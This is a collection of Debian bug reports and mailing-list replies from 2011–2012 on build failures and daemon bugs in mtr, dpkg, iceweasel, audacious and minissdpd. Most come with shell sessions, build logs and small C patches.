To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#662583: FTBFS

[Rogier Wolff]

On Mon, Mar 05, 2012 at 08:11:52AM +0100, Moritz Muehlenhoff wrote:
> Package: mtr
> Version: 0.82-2
> Severity: serious

(cd mtr;aclocal;automake --foreign --include-deps Makefile;autoconf)

This is the required commandline to satisfy "automake". 

Automake is intended to make the buildprocess of packages less
dependent on the specific configuration of individual build-machines.
It fails horribly at it's only task. 

Roger. 



> Your package fails to build from source:
> 
> checking for strerror... yes
> checking for getaddrinfo... yes
> checking whether errno is declared... yes
> checking for socklen_t... yes
> checking for struct in_addr... yes
> checking for C flags to get more warnings... -Wall -Wno-pointer-sign
> configure: creating ./config.status
> config.status: creating Makefile
> config.status: creating img/Makefile
> config.status: creating config.h
> config.status: executing depfiles commands
> configure: WARNING: unrecognized options: --enable-gtk2
> make -C mtr
> make[1]: Entering directory `/home/jmm/mtr-0.82/mtr'
>  cd .. && /bin/bash /home/jmm/mtr-0.82/missing --run automake-1.11 --foreign
> configure.in:2: version mismatch.  This is Automake 1.11.3,
> configure.in:2: but the definition used by this AM_INIT_AUTOMAKE
> configure.in:2: comes from Automake 1.11.1.  You should recreate
> configure.in:2: aclocal.m4 with aclocal and run automake again.
> WARNING: `automake-1.11' is needed, and you do not seem to have it handy on 
> your
>  system.  You might have modified some files without having the
>  proper tools for further handling them.  Check the `README' file,
>  it often tells you about the needed prerequirements for installing
>  this package.  You may also peek at any GNU archive site, in case
>  some other package would contain this missing `automake-1.11' 
> program.
> make[1]: *** [../Makefile.in] Error 1
> make[1]: Leaving directory `/home/jmm/mtr-0.82/mtr'
> make: *** [build-stamp] Error 2
> dpkg-buildpackage: error: debian/rules build gave error exit status 2
> 
> 
> 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#661795: dhcp-probe: deleted conffiles not purged from ucf in postrm script

[Rogier]

Package: dhcp-probe
Version: 1.3.0-10
Severity: normal

Dear Maintainer,

After purging and reinstalling dhcp-probe, I got the following ucf 
message:

Not replacing deleted config file /etc/dhcp-probe/dhcp-probe.br1

After some investigation, it appeared that the postrm script does do a 
purge of the conffiles, but only conffiles that are still present. As 
dhcp-probe.br1 had been deleted, its ucf information is not purged 
when dhcp-probe was uninstalled.

Kind regards,

Rogier.

-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.1.0-1-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages dhcp-probe depends on:
ii  libc6   2.13-26
ii  libnet1 1.1.4-2.1
ii  libpcap0.8  1.2.1-1
ii  net-tools   1.60-24.1
ii  ucf 3.0025+nmu2

dhcp-probe recommends no packages.

dhcp-probe suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#656447: dpkg with --root writes log file outside of install root

[Rogier]

Package: dpkg
Version: 1.16.1.2
Severity: normal

Dear Maintainer,

When installing a package with --root=, dpkg will log its
actions to /var/log/dpkg.log instead of /var/log/dpkg.log

Kind Regards,

Rogier.

Example session:
-
wheezy:root /chroot 69 # tail -v -n 2 /var/log/dpkg.log 
newroot/var/log/dpkg.log 
==> /var/log/dpkg.log <==
2012-01-19 14:11:42 status installed ed 1.5-3
2012-01-19 14:11:44 status installed man-db 2.6.0.2-3

==> newroot/var/log/dpkg.log <==
2012-01-19 14:11:42 status installed ed 1.5-3
2012-01-19 14:11:44 status installed man-db 2.6.0.2-3
wheezy:root /chroot 70 # dpkg -i --root=newroot sed_4.2.1-9_i386.deb 
(Reading database ... 21136 files and directories currently installed.)
Preparing to replace sed 4.2.1-9 (using sed_4.2.1-9_i386.deb) ...
Unpacking replacement sed ...
^Z
[1]+  Stopped dpkg -i --root=newroot sed_4.2.1-9_i386.deb
wheezy:root /chroot 71 # ps | grep dpk.
 2733 pts/100:00:00 dpkg
wheezy:root /chroot 72 # lsof -p 2733 | grep -E 'log|newroot'
dpkg2733 root3uW  REG   0,180   135 
/chroot/newroot/var/lib/dpkg/lock
dpkg2733 root4w   REG   0,18 4608  3490 
/chroot/newroot/var/lib/dpkg/updates/tmp.i
dpkg2733 root5u   REG   0,180   142 
/chroot/newroot/var/lib/dpkg/triggers/Lock
dpkg2733 root6w   REG8,0   802157 65563 /var/log/dpkg.log
dpkg2733 root7r   REG   0,18  248   144 
/chroot/newroot/var/lib/dpkg/diversions
dpkg2733 root8r   REG   0,18   35   145 
/chroot/newroot/var/lib/dpkg/statoverride
dpkg2733 root9w   REG   0,18 1871  3566 
/chroot/newroot/usr/share/locale/eu/LC_MESSAGES/sed.mo.dpkg-new
wheezy:root /chroot 73 # fg
dpkg -i --root=newroot sed_4.2.1-9_i386.deb
Setting up sed (4.2.1-9) ...
Processing triggers for install-info ...
Processing triggers for man-db ...
wheezy:root /chroot 74 # tail -v -n 2 /var/log/dpkg.log 
newroot/var/log/dpkg.log 
==> /var/log/dpkg.log <==
2012-01-19 14:12:41 status installed sed 4.2.1-9
2012-01-19 14:12:42 status installed man-db 2.6.0.2-3

==> newroot/var/log/dpkg.log <==
2012-01-19 14:11:42 status installed ed 1.5-3
2012-01-19 14:11:44 status installed man-db 2.6.0.2-3
-


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.1.0-1-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages dpkg depends on:
ii  coreutils8.13-3
ii  libbz2-1.0   1.0.6-1
ii  libc62.13-24
ii  libselinux1  2.1.0-4
ii  xz-utils 5.1.1alpha+20110809-3
ii  zlib1g   1:1.2.3.4.dfsg-3

dpkg recommends no packages.

Versions of packages dpkg suggests:
ii  apt  0.8.15.9

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#656313: Iceweasel FTBFS

[Rogier]

Package: iceweasel
Version: 8.0-3
Severity: serious
Justification: fails to build from source

Dear Maintainer,

As the title says: iceweasel does not build.
After installation of the build dependencies, and downloading and compiling 
using:

apt-get source iceweasel
cd iceweasel-8.0
dpkg-buildpackage -b

Compilation stops with the following messages:

g++ -fno-rtti -Wall -Wpointer-arith -Woverloaded-virtual -Wsynth 
-Wno-ctor-dtor-privacy -Wno-non-
virtual-dtor -Wcast-align -Wno-invalid-offsetof -Wno-variadic-macros 
-Werror=return-type -Wno-long-
long -fno-strict-aliasing -std=gnu++0x -pthread -ffunction-sections 
-fdata-sections -pipe -
fexceptions  -DNDEBUG -DTRIMMED -g -Os -freorder-blocks  -fomit-frame-pointer 
-fPIC -shared -Wl,-
z,defs -Wl,--gc-sections -Wl,-h,test.so -o test.so -Wl,--as-needed -lpthread
-Wl,-rpath-
link,/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-xulrunner/dist/bin 
-Wl,-rpath-link,/usr/lib  
test.o
===
=== If you get failures below, please file a bug describing the error
=== and your environment (compiler and linker versions), and use
=== --disable-elf-hack until this is fixed.
===

/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-browser/build/unix/elfhack/elfhack
 -b 
test.so
test.so: terminate called after throwing an instance of 
'std::runtime_error'
  what():  Error opening file
make[7]: *** [test.so] Aborted
make[7]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-
browser/build/unix/elfhack'
make[6]: *** [libs] Error 2
make[6]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-
browser/build/unix'
make[5]: *** [libs] Error 2
make[5]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-browser/build'
make[4]: *** [libs_tier_base] Error 2
make[4]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-browser'
make[3]: *** [tier_base] Error 2
make[3]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-browser'
make[2]: *** [default] Error 2
make[2]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0/build-browser'
dh_auto_build: make -j1 returned exit code 2
make[1]: *** [stamps/build-browser] Error 2
    make[1]: Leaving directory 
`/home/rogier/src/extern/iceweasel/iceweasel-8.0'
make: *** [build] Error 2
dpkg-buildpackage: error: debian/rules build gave error exit status 2
(END)

After adding '--disable-elf-hack' on the 'configure' command-line in 
debian/rules and
in xulrunner.mozconfig, it compiles fine.

I have included the list of build dependencies and versions, including some of 
their
dependencies that seemed relevant. If you need any more info, please ask.

Kind Regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.1.0-1-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of build dependencies:
ii  autotools-dev 20110511.1
ii  base-files6.5
ii  binutils  2.22-2
ii  build-essential   11.5
ii  bzip2 1.0.6-1
ii  debhelper 8.9.14
ii  dpkg-dev  1.16.1.2
ii  g++   4:4.6.1-3
ii  gcc   4:4.6.1-3
ii  imagemagick   8:6.6.9.7-5+b2
ii  libasound2-dev1.0.24.1-4
ii  libbz2-dev1.0.6-1
ii  libc6-dev [libc-dev]  2.13-24
ii  libcairo2-dev 1.10.2-6.2
ii  libdbus-glib-1-dev0.98-1
ii  libdpkg-perl  1.16.1.2
ii  libevent-dev  2.0.16-stable-1
ii  libffi-dev3.0.10-3
ii  libglib2.0-dev2.30.2-4
ii  libgnome2-dev 2.32.1-2
ii  libgnomeui-dev2.24.5-2
ii  libgnomevfs2-dev  1:2.24.4-1
ii  libgtk2.0-dev 2.24.8-2
ii  libhunspell-dev   1.3.2-4
ii  libidl-dev0.8.14-0.2
ii  libiw-dev 30~pre9-8
ii  libjpeg8-dev [libjpeg-dev]8c-2
ii  libnotify-dev 0.7.4-1
ii  libnspr4-dev  4.8.9-1
ii  libnss3-dev   3.13.1.with.ckbi.1.88-1
ii  libreadline-dev   6.2-8
ii  librsvg2-bin  2.34.2-2
ii  libsqlite3-dev3.7.9-2
ii  libstartup-notification0-dev  0.12-1
ii  libvpx-dev0.9.7.p1-2
ii  libx11-dev2:1.4.4-4
ii  libxt-dev 1:1.1.1-2
ii  locales   2.13-24
ii  lsb-

Bug#654117: Please enabled hardened build flags

[Rogier Wolff]

Hi, 

I don't have a debian/rules in my "upstream" distribution. 

Should I grab a copy somewhere and start distributing it?

Rogier.

On Mon, Jan 02, 2012 at 02:31:30AM +0100, Moritz Muehlenhoff wrote:
> Package: mtr
> Version: 0.82-1
> Severity: important
> Tags: patch
> 
> Please enabled hardened build flags through dpkg-buildflags.
> Patch attached.
> 
> Cheers,
> Moritz

> diff -aur mtr-0.82.orig/debian/rules mtr-0.82/debian/rules
> --- mtr-0.82.orig/debian/rules2012-01-02 02:26:06.0 +0100
> +++ mtr-0.82/debian/rules 2012-01-02 02:27:45.0 +0100
> @@ -26,10 +26,10 @@
>   touch aclocal.m4 && \
>   touch configure
>  
> - mkdir mtr && cd mtr && ../configure $(confflags) 
> --prefix=`pwd`/debian/tmp/usr --mandir=`pwd`/debian/tmp/usr/share/man 
> --sbindir=`pwd`/debian/tmp/usr/bin --enable-gtk2
> + mkdir mtr && cd mtr && ../configure $(shell dpkg-buildflags 
> --export=configure) $(confflags) --prefix=`pwd`/debian/tmp/usr 
> --mandir=`pwd`/debian/tmp/usr/share/man --sbindir=`pwd`/debian/tmp/usr/bin 
> --enable-gtk2
>   make -C mtr
>  
> - mkdir mtr-tiny && cd mtr-tiny && ../configure 
> --prefix=`pwd`/debian/tmp/usr --mandir=`pwd`/debian/tmp/usr/share/man 
> --sbindir=`pwd`/debian/tmp/usr/bin --without-gtk
> + mkdir mtr-tiny && cd mtr-tiny && ../configure $(shell dpkg-buildflags 
> --export=configure) --prefix=`pwd`/debian/tmp/usr 
> --mandir=`pwd`/debian/tmp/usr/share/man --sbindir=`pwd`/debian/tmp/usr/bin 
> --without-gtk
>   make -C mtr-tiny
>  
>   touch build-stamp
> Nur in mtr-0.82/debian: rules~.


-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#644554: audacious-plugins: mp4 files not closed after playing

[Rogier]

Package: audacious-plugins
Version: 2.4.4-1
Severity: normal

Audacious does not close the mp4 files it opens.

I am playing from a single playlist, with 'repeat' and 'shuffle' on. The
files are mp4.

After some time of running, the list of open files has grown rather large,
and includes many duplicates (i.e. audacious is not keeping them open to
reuse them later (and why would it anyway...))

Regards,

Rogier.


-- System Information:
Debian Release: wheezy/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.38-2-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages audacious-plugins depends on:
ii  libasound2  1.0.23-4 shared library for ALSA applicatio
ii  libatk1.0-0 2.0.1-2  ATK accessibility toolkit
ii  libaudcore1 2.4.4-1  audacious core engine library
ii  libavcodec525:0.6.2-0.1  library to encode decode multimedi
ii  libavformat52   5:0.6.2-0.1  ffmpeg file format library
ii  libavutil50 5:0.6.2-0.1  avutil shared libraries - runtime 
ii  libbinio1ldbl   1.4-14   Binary I/O stream class library
ii  libc6   2.13-10  Embedded GNU C Library: Shared lib
ii  libcairo2   1.10.2-6 The Cairo 2D vector graphics libra
ii  libcddb21.3.2-3  library to access CDDB data - runt
ii  libcdio-cdda0   0.81-4   library to read and control digita
ii  libcdio10   0.81-4   library to read and control CD-ROM
ii  libcue1 1.4.0-1  CUE Sheet Parser Library
ii  libcurl3-gnutls 7.21.6-3 Multi-protocol file transfer libra
ii  libdbus-1-3 1.4.12-4 simple interprocess messaging syst
ii  libdbus-glib-1-20.94-4   simple interprocess messaging syst
ii  libfaad22.7-6freeware Advanced Audio Decoder - 
ii  libflac81.2.1-4  Free Lossless Audio Codec - runtim
ii  libfluidsynth1  1.1.3-4  Real-time MIDI software synthesize
ii  libfontconfig1  2.8.0-3  generic font configuration library
ii  libfreetype62.4.4-2  FreeType 2 font engine, shared lib
ii  libgcc1 1:4.6.1-4GCC support library
ii  libgdk-pixbuf2.0-0  2.23.5-1 GDK Pixbuf library
ii  libglib2.0-02.28.6-1 The GLib library of C routines
ii  libgtk2.0-0 2.24.4-3 The GTK+ graphical user interface 
ii  libjack-jackd2-0 [libja 1.9.7~dfsg-1 JACK Audio Connection Kit (librari
ii  liblircclient0  0.9.0~pre1-1 infra-red remote control support -
ii  libmcs1 0.7.2-1  abstraction library to store confi
ii  libmms0 0.6.2-2  MMS stream protocol library - shar
ii  libmowgli2  0.7.1-1  high performance development frame
ii  libmtp8 1.0.6-7  Media Transfer Protocol (MTP) libr
ii  libneon27-gnutls0.29.6-1 HTTP and WebDAV client library (Gn
ii  libogg0 1.2.2~dfsg-1 Ogg bitstream library
ii  libpango1.0-0   1.28.4-1 Layout and rendering of internatio
ii  libpulse0   0.9.21-4.1   PulseAudio client libraries
ii  libresid-builder0c2a2.1.1-8  SID chip emulation class based on 
ii  libsamplerate0  0.1.7-3  Audio sample rate conversion libra
ii  libsdl1.2debian 1.2.14-6.4   Simple DirectMedia Layer
ii  libsidplay2 2.1.1-8  SID (MOS 6581) emulation library
ii  libsndfile1 1.0.24-1 Library for reading/writing audio 
ii  libstdc++6  4.6.1-4  GNU Standard C++ Library v3
ii  libusb-0.1-42:0.1.12-17  userspace USB programming library
ii  libvorbis0a 1.3.2-1  The Vorbis General Audio Compressi
ii  libvorbisenc2   1.3.2-1  The Vorbis General Audio Compressi
ii  libvorbisfile3  1.3.2-1  The Vorbis General Audio Compressi
ii  libwavpack1 4.60.1-1 an audio codec (lossy and lossless
ii  libx11-62:1.4.3-2X11 client-side library
ii  libxcomposite1  1:0.4.3-2X11 Composite extension library
ii  libxml2 2.7.8.dfsg-3 GNOME XML library
ii  libxrender1 1:0.9.6-2X Rendering Extension client libra
ii  zlib1g  1:1.2.3.4.dfsg-3 compression library - runtime

Versions of packages audacious-plugins recommends:
ii  audacious 2.4.4-1small and fast audio player which 

audacious-plugins suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-b

Bug#644511: minissdpd will not coexist with other SSDP apps

[Rogier]

Package: minissdpd
Version: 1.0-2
Severity: critical
Tags: patch

Hi,

Minissdpd will not coexist with other apps that wish to listen to SSDP
multicast traffic.
- minissdpd will refuse to start if another SSDP app is running (i.e.
  already using the UDP port)
- when  minissdpd is running, other apps, which normally start fine and
  peacefully coexist with each other, fail to start.
  (e.g. upnp-router-control and gssdp-device-sniffer)

debian:root ~ 113 # ps ax | grep minissdpd
17975 ?Ss 0:00 minissdpd -i 0.0.0.0
17990 pts/4S+ 0:00 grep minissdpd
debian:root ~ 114 # upnp-router-control
* Initializing GUI...
* Showing GUI...
* Starting UPnP Resource discovery... 
** ERROR **: \u001b[31m[EE]\u001b[0m gupnp_context_new: Failed to bind 
socketError binding to address: Address already in use (33)
aborting...
Aborted
debian:root ~ 115 # gssdp-device-sniffer 
Error creating the GSSDP client: Failed to bind socketError binding to address: 
Address already in use
debian:root ~ 116 # 

-

debian:root ~ 234 # upnp-router-control &
[2] 21274
debian:root ~ 235 # * Initializing GUI...
* Showing GUI...
* Starting UPnP Resource discovery... done

debian:root ~ 235 # gssdp-device-sniffer &
[3] 21276
debian:root ~ 236 # minissdpd -d -i 0.0.0.0
minissdpd[21277]: bind(udp): Address already in use
minissdpd[21277]: Cannot open socket for receiving SSDP messages, exiting
debian:root ~ 237 # 


The problem is that minissdpd does not set the SO_REUSEADDR option on the
UDP socket. Other apps (e.g. upnp-router-control and gssdp-device-sniffer) do
set SO_REUSEADDR.

I have attached a patch to fix this.

I hereby allow this patch to be included in, and redistributed with, minidsspd
or any derived software using the same license that minissdpd 1.0-2 (as found
in debian on oct 6, 2011) uses.
If this is not sufficient, please ask, and I'll reformulate to something 
acceptable.

Regards,

Rogier.

Patch:

diff -aur minissdpd-1.0/openssdpsocket.c 
minissdpd-1.0-patch-sharesock/openssdpsocket.c
--- minissdpd-1.0/openssdpsocket.c  2008-10-04 12:53:03.0 +0200
+++ minissdpd-1.0-patch-sharesock/openssdpsocket.c  2011-10-06 
13:59:40.0 +0200
@@ -42,6 +42,8 @@
 const char * * 
listen_addr)
 {
int s;
+   int rv;
+   int opt;
struct sockaddr_in sockname;

if( (s = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
@@ -58,6 +60,15 @@
 sockname.sin_addr.s_addr = htonl(INADDR_ANY);
 /*sockname.sin_addr.s_addr = inet_addr(ifaddr);*/
 
+   opt = 1;
+   rv = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
+   if (rv < 0)
+   {
+   syslog(LOG_ERR, "setsockopt(SO_REUSEADDR): %m");
+   close(s);
+   return -1;
+   }
+
 if(bind(s, (struct sockaddr *)&sockname, sizeof(struct sockaddr_in)) < 0)
{
syslog(LOG_ERR, "bind(udp): %m");



-- System Information:
Debian Release: wheezy/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.38-2-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages minissdpd depends on:
ii  libc6 2.13-10Embedded GNU C Library: Shared lib

minissdpd recommends no packages.

minissdpd suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#644510: minissdpd: Refuses to start is socket file happens to exist

[Rogier]

Package: minissdpd
Version: 1.0-2
Severity: normal
Tags: patch

Hi,

Minissdpd will  not start when the unix socket it uses happens to
already exist, even if no other minissdpd is running:

debian:root ~ 108 # killall -9 minissdpd
debian:root ~ 109 # ls /var/run/minissdpd.sock
/var/run/minissdpd.sock
debian:root ~ 110 # /etc/init.d/minissdpd start
Starting UPnP devices daemon: MiniSSDPd.
debian:root ~ 111 # tail /var/log/syslog
[irrelevant (non-minissdpd) lines deleted]
Oct  6 11:55:33 debian minissdpd[17950]: Unable to open pidfile for writing 
/var/run/minissdpd.pid: File exists
Oct  6 11:55:33 debian minissdpd[17950]: bind(unixsocket, 
"/var/run/minissdpd.sock"): Address already in use
Oct  6 11:55:33 debian minissdpd[17950]: Cannot open unix socket for 
communicating with clients. Exiting
debian:root ~ 112 # ps ax | grep minissdpd
17958 pts/4S+ 0:00 grep minissdpd

I have included a patch to fix this - it removes the socket file (inode)
before doing the bind().

I hereby allow this patch to be included in, and redistributed with, minidsspd
or any derived software using the same license that minissdpd 1.0-2 (as found
in debian on oct 6, 2011) uses.
If this is not sufficient, please ask, and I'll reformulate to something 
acceptable.

Regards,

Rogier.

Patch:

diff -aur minissdpd-1.0/minissdpd.c minissdpd-1.0-patch-sockfile/minissdpd.c
--- minissdpd-1.0/minissdpd.c   2008-10-07 14:42:07.0 +0200
+++ minissdpd-1.0-patch-sockfile/minissdpd.c2011-10-06 13:58:39.0 
+0200
@@ -392,12 +392,20 @@
 {
struct sockaddr_un addr;
int s;
+   int rv;
s = socket(AF_UNIX, SOCK_STREAM, 0);
if(s < 0)
{
syslog(LOG_ERR, "socket(AF_UNIX): %m");
return -1;
}
+   rv = unlink(path);
+   if (rv < 0 && errno != ENOENT)
+   {
+   syslog(LOG_ERR, "unlink(unixsocket, \"%s\"): %m", path);
+   close(s);
+   return -1;
+   }
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, path, sizeof(addr.sun_path));
if(bind(s, (struct sockaddr *)&addr,



-- System Information:
Debian Release: wheezy/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.38-2-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages minissdpd depends on:
ii  libc6 2.13-10Embedded GNU C Library: Shared lib

minissdpd recommends no packages.

minissdpd suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#644509: minissdpd: Startup initialisation failure not reported to parent process

[Rogier]

Package: minissdpd
Version: 1.0-2
Severity: normal
Tags: patch

Hi,

When minissdpd fails to start, its exit value is not returned to its parent
process. One effect is that the init script will not report the failure:

debian:root ~ 109 # ls /var/run/minissdpd.sock
/var/run/minissdpd.sock
debian:root ~ 110 # /etc/init.d/minissdpd start
Starting UPnP devices daemon: MiniSSDPd.
debian:root ~ 111 # tail /var/log/syslog
[irrelevant (non-minissdpd) lines deleted]
Oct  6 11:55:33 debian minissdpd[17950]: Unable to open pidfile for writing 
/var/run/minissdpd.pid: File exists
Oct  6 11:55:33 debian minissdpd[17950]: bind(unixsocket, 
"/var/run/minissdpd.sock"): Address already in use
Oct  6 11:55:33 debian minissdpd[17950]: Cannot open unix socket for 
communicating with clients. Exiting
debian:root ~ 112 # ps ax | grep minissdpd
17958 pts/4S+ 0:00 grep minissdpd

As can be seen, the output of the init script suggests that minissdpd
was started correctly (no mention of any failure), even though it wasn't.

The problem is that minissdpd becomes a deamon before initialisation
completes, so the link with the starting process is broken, and any exit
code is lost.

I have attached a patch to solve the problem. It only daemonizes *after*'
initialisation was successful.

I hereby allow this patch to be included in, and redistributed with, minidsspd
or any derived software using the same license that minissdpd 1.0-2 (as found
in debian on oct 6, 2011) uses.
If this is not sufficient, please ask, and I'll reformulate to something 
acceptable.

Regards,

Rogier.


Patch:

diff -aur minissdpd-1.0/minissdpd.c minissdpd-1.0-patch-initstatus/minissdpd.c
--- minissdpd-1.0/minissdpd.c   2008-10-07 14:42:07.0 +0200
+++ minissdpd-1.0-patch-initstatus/minissdpd.c  2011-10-06 13:56:13.0 
+0200
@@ -667,18 +667,6 @@
return 1;
}
 
-   /* daemonize or in any case get pid ! */
-   if(debug_flag)
-   pid = getpid();
-   else {
-#ifdef USE_DAEMON
-   if(daemon(0, 0) < 0)
-   perror("daemon()");
-   pid = getpid();
-#else
-   pid = daemonize();
-#endif
-   }
/* open log */
openlog("minissdpd",
LOG_CONS|LOG_PID|(debug_flag?LOG_PERROR:0),
@@ -692,8 +680,6 @@
return 1;
}
 
-   writepidfile(pidfilename, pid);
-
/* set signal handlers */
memset(&sa, 0, sizeof(struct sigaction));
sa.sa_handler = sigterm;
@@ -720,6 +706,21 @@
return 1;
}
 
+   /* daemonize or in any case get pid ! */
+   if(debug_flag)
+   pid = getpid();
+   else {
+#ifdef USE_DAEMON
+   if(daemon(0, 0) < 0)
+   perror("daemon()");
+   pid = getpid();
+#else
+   pid = daemonize();
+#endif
+   }
+
+   writepidfile(pidfilename, pid);
+
/* Main loop */
while(!quitting)
{



-- System Information:
Debian Release: wheezy/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.38-2-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages minissdpd depends on:
ii  libc6 2.13-10Embedded GNU C Library: Shared lib

minissdpd recommends no packages.

minissdpd suggests no packages.

-- no debconf information



-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#644508: minissdpd: pid file not used when it happens to already exist

[Rogier]

Package: minissdpd
Version: 1.0-2
Severity: normal
Tags: patch

Hi,

When the pidfile (/var/run/minissdpd.pid) happens to already exist when
minissdpd starts, it complains, and fails to use it and write its pid to
it, even if no other instance is running:

debian:root ~ 102 # ps ax | grep minissdpd
17863 pts/4S+ 0:00 grep minissdpd
debian:root ~ 103 # echo 12345 > /var/run/minissdpd.pid
debian:root ~ 104 # /etc/init.d/minissdpd start
Starting UPnP devices daemon: MiniSSDPd.
debian:root ~ 105 # ps ax | grep minissdpd
17888 ?Ss 0:00 minissdpd -i 0.0.0.0
17892 pts/4S+ 0:00 grep minissdpd
debian:root ~ 106 # tail /var/log/syslog
[irrelevant (non-minissdpd) lines deleted]
Oct  6 11:52:28 debian minissdpd[17919]: Unable to open pidfile for writing 
/var/run/minissdpd.pid: File exists
Oct  6 11:52:33 debian minissdpd[17919]: 27 new devices added
Oct  6 11:52:36 debian minissdpd[17919]: 1 new devices added
debian:root ~ 107 # cat /var/run/minissdpd.pid
12345

The problem is that minissdpd tries to create the file with O_EXCL.
(i.e. only if it does not exist)

I have attached a patch to solve this problem. Instead of using O_EXCL,
it opens/creates the file using O_TRUNC. This should be OK, as the pid
it contains is not valid anyway (as verified earlier).
Obviously, there still remains a race condition during startup.
A solution might be to only start after successfully acquiring a write lock
on the file as well.

I hereby allow this patch to be included in, and redistributed with, minidsspd
or any derived software using the same license that minissdpd 1.0-2 (as found
in debian on oct 6, 2011) uses.
If this is not sufficient, please ask, and I'll reformulate to something 
acceptable.

Regards,

Rogier.

Patch:

diff -aur minissdpd-1.0/daemonize.c minissdpd-1.0-patch-pidfile/daemonize.c
--- minissdpd-1.0/daemonize.c   2008-01-29 14:07:09.0 +0100
+++ minissdpd-1.0-patch-pidfile/daemonize.c 2011-10-06 14:01:14.0 
+0200
@@ -70,7 +70,7 @@
if(!fname || (strlen(fname) == 0))
return -1;

-   if( (pidfile = open(fname, O_WRONLY|O_CREAT|O_EXCL, 0666)) < 0)
+   if( (pidfile = open(fname, O_WRONLY|O_CREAT|O_TRUNC, 0666)) < 0)
{
syslog(LOG_ERR, "Unable to open pidfile for writing %s: %m", 
fname);
return -1;



-- System Information:
Debian Release: wheezy/sid
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 2.6.38-2-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages minissdpd depends on:
ii  libc6 2.13-10Embedded GNU C Library: Shared lib

minissdpd recommends no packages.

minissdpd suggests no packages.

-- no debconf information



